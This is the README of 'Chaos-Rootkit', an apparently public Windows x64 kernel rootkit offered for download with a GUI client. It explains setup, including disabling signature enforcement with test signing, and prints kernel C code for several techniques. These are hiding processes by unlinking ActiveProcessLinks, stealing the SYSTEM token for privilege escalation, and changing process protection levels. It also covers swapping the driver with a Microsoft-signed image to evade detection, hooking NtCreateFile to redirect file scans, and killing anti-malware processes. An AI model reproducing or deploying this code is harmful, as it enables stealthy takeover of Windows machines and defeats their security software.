Mairon 4993726e02 Enhance README with usage and internal details
Updated the README to include usage instructions, internal workings, and features of the rootkit. Added sections on process privilege elevation, process protection, driver swapping techniques, and file access restrictions.
2025-11-14 01:45:17 +01:00
2025-11-11 01:14:37 +01:00
2025-10-25 03:28:08 +01:00
2025-11-11 01:15:25 +01:00
2024-10-11 20:02:18 +01:00
2024-10-11 20:02:18 +01:00
2024-10-11 20:02:18 +01:00
2024-10-11 22:02:21 +01:00

Chaos-Rootkit

Image Description

  • Chaos-Rootkit is an x64 Ring 0 rootkit with capabilities for process hiding, privilege escalation, protecting and unprotecting processes, and restricting access to files except for whitelisted processes. It can bypass file integrity checks and protect it against anti-malware, and swap the driver in memory and on disk with a signed Microsoft driver, working seamlessly on the latest Windows versions

  • Gui version

image

Buy Me A Coffee

Features

  • Hide process: This feature allows you to hide processes from listing tools via DKOM.

  • Elevate specific process privileges : This feature enables you to elevate specific processes privilege .

  • Swap the driver on disk and in memory with a Microsoft driver: All credit for this implementation goes to IDontCode for his exceptional work, I've also handled the unload and shutdown routines for this feature so that the rootkits driver doesn’t get corrupted or crash at some point.

  • Restrict file access for user-mode applications except for the provided process ID

  • Spawn elevated process: launch command prompt with elevated privileges .

  • Bypass the file integrity check and protect it against anti-malware : this work by redirecting file operations to a legitimate file, making our file appear authentic and signed with a valid certificate also if an anti-malware attempting to scan it, the rootkit will immediately kill the anti-malware process.

  • Unprotect all processes

  • Protect a specific process with any given protection level (WinSystem, WinTcb, Windows, Authenticode, Lsa, Antimalware) .

  • Protect a specific file against anti-malware, when an anti malware tries to scan it the rootkit will shut it down this done by checking the caller EPROCESS protection member .

How use

  • Since the rootkit driver is unsigned, Windows will not load it by default due to driver signature enforcement. Windows requires all kernel-mode drivers to be digitally signed by Microsoft to ensure system security and stability. We must enable test signing in order to bypass this requirement and load the unsigned driver.
  • to do so, open cmd as Administrator and run, bcdedit /set testsigning on Then restart your computer.
  • Next, you can either compile both the client and the driver or download them from the releases. Run the GUI client as admin and you're good to go to explore all the features.

Under the Hood: Internals

Elevate process privileges

  • When a process is created, it inherits the token of the user who created it, The token is used by the system to determine what actions the process can perform, The token contains information about the user's security identifier (SID), group memberships, and privileges.

    image

  • The Token member resides at offset 0x4b8 in the _EPROCESS structure, which is a data structure that represents a process object. The Token member is defined in EX_FAST_REF structure, which is a union type that can store either a pointer to a kernel object or a reference count.

  • Windows Build Number token Offsets for x64 and x86 Architectures

    x64 offsets x86 offsets
    0x0160 (late 5.2) 0x0150 (3.10)
    0x0168 (6.0) 0x0108 (3.50 to 4.0)
    0x0208 (6.1) 0x012C (5.0)
    0x0348 (6.2 to 6.3) 0xC8 (5.1 to early 5.2)
    0x0358 (10.0 to 1809) 0xD8 (late 5.2)
    0x0360 (1903) 0xE0 (6.0)
    0x04B8 0xF8 (6.1)
    0xEC (6.2 to 6.3)
    0xF4 (10.0 to 1607)
    0xFC (1703 to 1903)
    0x012C

    image

  • The _EX_FAST_REF structure in Windows contains three members: Object and RefCount and Value

    image

  • CMD inherited Token

    image

  • we send the Process ID to the driver through an IOCTL

  • After receiving the PID from the user-mode application, the driver obtains the _EPROCESS pointer for the target process and accesses its Token member. It then replaces the target process token with the system process token, effectively elevating the process to the system security context.

  • cmd token after

    image

  • the process privileges, groups, rights

    image

Process Protection/Unprotection

  • This is very simple, we first get the _EPROCESS as explained previously, calculate the address of the PS_PROTECTION member, and then dereference it to set our chosen protection level.

// Retrieve the _EPROCESS structure for the target process by PID
NTSTATUS ret = PsLookupProcessByProcessId(ProtectionLevel->Process, &process);

if (ret != STATUS_SUCCESS)
{
    // clean up :) 
}

// Calculate the protection member offset
PPS_PROTECTION EProtectionLevel = (ULONG_PTR)process + eoffsets.protection_offset;

// Update the process protection level
*EProtectionLevel = ProtectionLevel->Protection;

  • the unprotection part is also simple, We iterate over all processes in the system by traversing the ActiveProcessLinks doubly linked list. We loop through each process using the Flink pointer until it returns to the starting process, so we don’t get an infinite loop :)) . For each process, we compute the base address of the _EPROCESS structure by subtracting ActiveProcessLinks from Flink and then add protection offset to get the address of the PS_PROTECTION member. We then dereference this address and set it to 0, effectively removing any protection from the process.
  // get system process ActiveProcessLinks so we can start enumerating
  plist = (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset);


  // Loop until we reach the system process then stop to avoid an infinite loop :>>
  while (plist->Flink != (PLIST_ENTRY)((char*)process + eoffsets.ActiveProcessLinks_offset))
  {
  	ULONG_PTR EProtectionLevel = (ULONG_PTR)plist->Flink - eoffsets.ActiveProcessLinks_offset + eoffsets.protection_offset;

  	// remove protection
  	*(BYTE*)EProtectionLevel = (BYTE)0;
  
	// got to next memberrr
   	plist = plist->Flink;

  }

Swap Driver in desk and in memory

  • ZwSwapCert is a driver swapping technique developed by IDontCode (@_xeroxz) that allows a loaded driver to replace itself with a legitimate Microsoft-signed driver both on disk and in memory. This anti-detection method makes malicious drivers appear as legitimate Windows system components while maintaining their original functionality.
  • All credit for the core ZwSwapCert implementation goes to IDontCode for this techniques.

My Enhancements for Rootkit Use

  • The original ZwSwapCert implementation was focused purely on the swap operation. While effective for stealth, it left a critical gap where when unloading the Windows attempts to unload a driver, it expects the original headers, sections, and cleanup routines. If these structures have been overwritten by a Microsoft driver image, the system will attempt to execute invalid routines resulting in a BSOD, To make the technique safe for rootkit integration, I extended the design with three key enhancements:

1. PE Header Backup

  • Before any overwrite takes place, the complete PE headers of the driver are backed up. These headers contain critical metadata such as entry points, section layouts, and resource information. Restoring them before unload ensures Windows can locate the correct routines and safely dismantle the driver.
	originalHeaders = ExAllocatePoolWithTag(NonPagedPool, GetPeHdrSize(), 'HdrB');
	if (originalHeaders) {
		RtlCopyMemory(originalHeaders, (PVOID)DriverObject->DriverStart, GetPeHdrSize());
	}

2. .text Section Preservation

  • The executable .text section is copied into memory prior to being patched. This section holds the driver’s core logic, including unload routines and exception handlers. By restoring it before unload, the rootkit guarantees that Windows can execute the proper cleanup sequence instead of executing foreign Microsoft code.
		if (strcmp((char*)section->Name, ".text") == 0)
		{

			originalTextSection = ExAllocatePoolWithTag(NonPagedPool, section->SizeOfRawData, 'HdwB');
			if (!originalTextSection) {
				DbgPrint("failed to allocated address of original bytes\n");
				return (PVOID)(NULL);
			}
			memcpy(originalTextSection, (PVOID)(ModuleBase + section->VirtualAddress), section->SizeOfRawData);
			TextSectionAddress = (PVOID)(ModuleBase + section->VirtualAddress);
			DbgPrint("text section saving it ...\n");
			SizeOfRawData = section->SizeOfRawData;

		}

2. Full Driver File Backup

  • the original rootkit driver file on disk is read and stored in memory before it is replaced. This allows the file to be restored after the driver unloads, preserving persistence. Without this, the rootkit would effectively delete itself during the swap, preventing any future loads.
if (!NT_SUCCESS(Status = ZwReadFile(FileHandle, NULL, NULL, NULL, &IOBlock, FileCopy, fileInfo.EndOfFile.QuadPart, 0, 0)))
	{
		DbgPrint("failed to read from file\n");
		ExFreePool(FileCopy);
		return (Status);
	}

  • Without the first 2 backups, Windows tries to unload Microsoft’s code as if it were the rootkit’s, leading to memory corruption and immediate BSODs. With the restore system, the original memory state and driver file are put back in place first, so unload behaves normally and cleanup runs as expected, This is the unload routine it restores the original driver sections and frees allocated memory.
void PrepareDriverForUnload()
{
	__try
	{
		//  Restore the original .text section of the driver if all required pointers and sizes are valid, meaning this feature has already been enabled and they are not null.

		if (TextSectionAddress && originalTextSection && SizeOfRawData)
		{
			write_to_read_only_memory(TextSectionAddress, originalTextSection, SizeOfRawData);
		}

		// same here restore originalHeaders if ZwSwapCert is enabled
		if (originalHeaders)
		{
			DbgPrint("patching driver\n");

			write_to_read_only_memory(driverStartSaved, (PVOID)originalHeaders, GetPeHdrSize());
		}
	}
	__finally {

		// finally means this code will always execute at the end thanks to the Windows Kernel book by pavel yosifovich <333333333333333
		//Its purpose is to clean up memory leaks and restore the file on disk preventing it from being replaced by the legitimate Windows driver and ensuring the rootkit is fully unloaded.

		if (originalHeaders)
		{
			ExFreePool(originalHeaders, GetPeHdrSize(), 'HdrB');
		}

		if (originalTextSection)
		{
			ExFreePool(originalTextSection, textSize, 'HdwB');
		}

		RestoreFileInDeskAndFreeMemory();
	}
}
  • Also we register a shutdown notification callback so that when the system shuts down, our unload routine is called to perform cleanup and prevent crashes
if (!NT_SUCCESS(status = IoRegisterShutdownNotification(driverObject->DeviceObject))) 
{
	//*//
}

In Memory

  • After backing up everything we need, we proceed to swapping. First we read the full patch from disk, then delete it and create a new signed image.
	if ((Result = IoQueryFullDriverPath(DriverObject, &DriverPath)) != STATUS_SUCCESS)
		return Result;
  • After that we map the legitimate driver's sections into our rootkit. The mapping routine used is shown below.
	for (UINT32 i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
	{
		PIMAGE_SECTION_HEADER section = &sections[i];

		write_to_read_only_memory((PVOID)(ModuleBase + section->VirtualAddress),
			(PVOID)(DriverBuffer + section->PointerToRawData), section->SizeOfRawData);
		ModuleBasesections++;
	}
  • Then it changes the driver size and entry point to point to the mapped legitimate Microsoft driver, as shown in the screenshot below.
	ExFreePool(DriverTempBuffer);
	DriverObject->DriverSize = sizeof RawDriver;
	DriverObject->DriverInit = SignedDriverEntry;

giphy (2)

  • driver entry point address before and after swapping
image
  • The PE header comparison shows a complete transformation of the driver’s identity. the entry point shifts to a different memory location, the image base changes from a custom value to the standard Microsoft format, the overall image size decreases, and both timestamp and checksum values are completely different.
image
  • After driver swapping, the section tables show that the entire section layout has been replaced with the Microsoft driver's section structure. The virtual addresses, section sizes, and memory characteristics all change to match the legitimate driver's layout.
image

Memory Dump of .text Section

  • The .text section memory dumps clearly show the code transformation. Before swapping, the .text section contains rootkit instructions and error-handling strings. After swapping, the same .text section memory addresses now contain legitimate Microsoft driver code.

  • .text section in memory before swap, containing rootkit instructions and strings.

    image
  • .text section in memory after swap, overwritten with valid Microsoft driver code.

    image
  • Driver imports after mapping imports

  • In Desk

image

restrict access to file

  • This feature is a kernel-level restriction that blocks file access from all user-mode applications except for one specific process. It ensures that only the permitted process can open or create the chosen file, while every other process attempting to touch it will be denied at the system call level.

  • It first checks whether it matches the protected filename and ensures that other objects are valid, so we don’t cause any undefined behavior when accessing them.


        // If we have a target object name, check whether it matches the protected filename
        if (ObjectAttributes &&
            ObjectAttributes->ObjectName &&
            ObjectAttributes->ObjectName->Buffer &&
            wcsstr(ObjectAttributes->ObjectName->Buffer, xHooklist.filename))

  • Then we get the calling PID and check if it matches the whitelisted PID obtained earlier from the user-mode client. If it does, we simply call IoCreateFile so the operation can proceed otherwise it returns access denied :)) .
        {

            // Get the PID of the requestor 
            requestorPid = FltGetRequestorProcessId(&flt);

            if ((ULONG)requestorPid == (ULONG)xHooklist.pID || !requestorPid)
            {

                // Forward allowed requests to the original IoCreateFile implementation
                return IoCreateFile(
                    FileHandle,
                    DesiredAccess,
                    ObjectAttributes,
                    IoStatusBlock,
                    AllocationSize,
                    FileAttributes,
                    ShareAccess,
                    CreateDisposition,
                    CreateOptions,
                    EaBuffer,
                    EaLength,
                    CreateFileTypeNone,
                    NULL,
                    0
                );
            }
            return STATUS_ACCESS_DENIED;
        }
  • For non‑target files, it calls IoCreateFile with the original parameters to avoid destabilizing the system same applies for next feature.
        // Non-protected filenames forward to original implementation
        return IoCreateFile(
            FileHandle,
            DesiredAccess,
            ObjectAttributes,
            IoStatusBlock,
            AllocationSize,
            FileAttributes,
            ShareAccess,
            CreateDisposition,
            CreateOptions,
            EaBuffer,
            EaLength,
            CreateFileTypeNone,
            NULL,
            0
        );
    }
  • the implementation works by hooking NtCreateFile and redirecting execution into FakeNtCreateFile function. Once a file open/create request reaches the hook, the handler inspects the OBJECT_ATTRIBUTES to extract the target filename. If the filename matches the protected one, the fake function checks the requestor’s process ID. When the process ID matches the allowed value, the call is passed down to the original IoCreateFile, letting the operation succeed. If the process ID does not match, the fake function blocks the request by returning STATUS_ACCESS_DENIED. For any other filename, the request is passed straight to the original function.

  • before hook

    image
  • after hook

    image

Bypass the file integrity check and protect it against anti-malware

  • This one is similar to the previous one, except it doesn’t protect the file it just redirects the file opration to another legit file, you should note that only one of this two feature is allowed to work at time
if (Option == 1)
    hooklist_s->NtCreateFileHookAddress = (uintptr_t)&FakeNtCreateFile;

else if (Option == 2)
    hooklist_s->NtCreateFileHookAddress = (uintptr_t)&FakeNtCreateFile2;
  • We'll skip the parts we've already explained and move on to the unexplained ones. The first check verifies whether the filename is our target and filters out .lnk files. I added this because, without the filter, the filesystem logic can fail and the .lnk file's contents may be copied into the original file, corrupting it. I learned this the hard way it took me some time to figure out :((.
       if (wcsstr(ObjectAttributes->ObjectName->Buffer, xHooklist.filename) &&
            !wcsstr(ObjectAttributes->ObjectName->Buffer, L".lnk"))
  • If the previous check succeeds, the code copies our fake target file (I used ntoskrnl.exe; you can use any file).
            RtlCopyUnicodeString(ObjectAttributes->ObjectName, &xHooklist.decoyFile);
            ObjectAttributes->ObjectName->Length = xHooklist.decoyFile.Length;
            ObjectAttributes->ObjectName->MaximumLength = xHooklist.decoyFile.MaximumLength;
  • It then obtains the EPROCESS for the current process, adds the protection-member offset, and checks whether the process is PROTECTED_ANTIMALWARE_LIGHT. If so, it terminates the process.
            ULONG_PTR EProtectionLevel = (ULONG_PTR)process + eoffsets.protection_offset;


            // Terminate anti-malware if anti malware light protected
            if (*(BYTE*)EProtectionLevel == global_protection_levels.PS_PROTECTED_ANTIMALWARE_LIGHT)
            {
                NTSTATUS status = ZwTerminateProcess(ZwCurrentProcess(), STATUS_SUCCESS);
                if (!NT_SUCCESS(status))
                    /**/
                else
                    /**/
            }
  • Finally it calls IoCreateFile with the fake decoy filename attribute, redirecting the file operation to another file, so when a process tries to read our file, the read is redirected to the decoy.
            status = IoCreateFile(
                FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
                AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
                CreateOptions, EaBuffer, EaLength, CreateFileTypeNone, (PVOID)NULL, 0
            );

Hide Process

  • First, we locate ActiveProcessLinks, which is a pointer to a PLIST_ENTRY structure. In our build the ActiveProcessLinks pointer is located at offset 0x448 within the EPROCESS structure; however, this offset can vary across different Windows versions.

    image

    x64 x86
    0xE0 (late 5.2) 0xB4 (3.10)
    0xE8 (6.0) 0x98 (3.50 to 4.0)
    0x0188 (6.1) 0xA0 (5.0)
    0x02E8 (6.2 to 6.3) 0x88 (5.1 to early 5.2)
    0x02F0 (10.0 to 1607) 0x98 (late 5.2)
    0x02E8 (1703 to 1809) 0xA0 (6.0)
    0x02F0 (1903) 0xB8 (6.1 to 1903)
    0x0448 0xE8
  • I implemented support for a wide range of Windows versions: if the rootkit cannot find the required offset (or one of the member fields it needs), it will disable features that depend on those offsets while still allowing features that do not require them.

        if (pstack->Parameters.DeviceIoControl.IoControlCode >= HIDE_PROC && \
            pstack->Parameters.DeviceIoControl.IoControlCode <= UNPROTECT_ALL_PROCESSES && xHooklist.check_off)
        {
            pstatus = ERROR_UNSUPPORTED_OFFSET;
            __leave;
        }
  • The PLIST_ENTRY structure is a doubly linked list structure . It contains two members, Blink and Flink, which are pointers to the previous and next entries in the list, respectively, These pointers allow for efficient traversal of the linked list in both directions.

    image

  • The flink member resides in offset 0x0 and the blink member resides in offset 0x8. The flink address 0xffff9c8b\071e3488 points to the next process node, while the blink address 0xfffff805\5121e0a0 points to the previous process node

    Screenshot 2023-03-23 222046

  • a diagram represents the PLIST_ENTRY structure.

    Screenshot 2023-03-23 181753

  • To hide our chosen process in a listing tool, we modify the flink and blink pointers of the adjacent process nodes to point to each other, effectively removing our process from the linked list. Specifically, we make the next process node's blink pointer point to the previous node, and the previous process node's flink pointer point to the next node. This makes our process appear invisible in the listing tool's view of the linked list of processes

    image

  • Note: After removing the node from PLIST_ENTRY structure, it is important to set the corresponding pointer to NULL, Otherwise, when attempting to close the process, the PLIST_ENTRY structure will get sent to the PspDeleteProcess API to free all its resources, after the API does not find the process in the structure, it will suspect that the process has already been freed, resulting in a BSOD, as shown below .

    image

S
Description
Now You See Me, Now You Don't
Readme 2.9 MiB
Languages
C++ 69.3%
C 28.6%
Objective-C++ 1.5%
Objective-C 0.5%